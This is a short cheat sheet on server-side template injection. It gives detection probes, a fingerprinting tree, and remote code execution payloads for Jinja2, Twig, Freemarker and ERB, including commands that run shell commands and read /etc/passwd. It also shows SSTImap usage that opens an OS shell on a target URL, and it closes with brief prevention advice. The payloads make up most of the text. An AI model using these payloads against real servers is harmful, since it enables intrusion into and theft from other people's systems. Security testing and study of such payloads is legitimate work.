Server-Side Template Injection (SSTI) occurs when user input is embedded directly into a server-side template and evaluated. Unlike XSS, SSTI payloads run on the server, enabling remote code execution. It affects Jinja2 (Python), Twig (PHP), Freemarker (Java), and ERB (Ruby).
Detection
Inject math expressions into every user-controlled field. A response of 49 confirms SSTI:
{{7*7}} # Jinja2/Twig
49 # Freemarker
<%= 7*7 %> # ERBFingerprinting
{{7*7}}=49? YES → {{7*'7'}}
'7777777' → Jinja2
49 → Twig
NO → 49=49? → Freemarker/Velocity
NO → <%= 7*7 %>=49? → ERBJinja2 RCE (Python/Flask)
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[408]('id',shell=True,stdout=-1).communicate() }}Twig RCE (PHP)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{'id'|system}}Freemarker RCE (Java)
<#assign ex="freemarker.template.utility.Execute"?new()> {ex("id")}ERB RCE (Ruby)
<%= system("id") %>
<%= File.open('/etc/passwd').read %>SSTImap Automation
git clone https://github.com/vladko312/SSTImap
pip3 install -r requirements.txt
python3 sstimap.py -u "http://target.com/page?name=test" --os-shellPrevention
Never pass user input as template code. In Flask use render_template('page.html', name=user_input) not render_template_string('Hello ' + user_input). Use Jinja2’s SandboxedEnvironment, validate input to reject template syntax characters, and run with least-privilege OS permissions.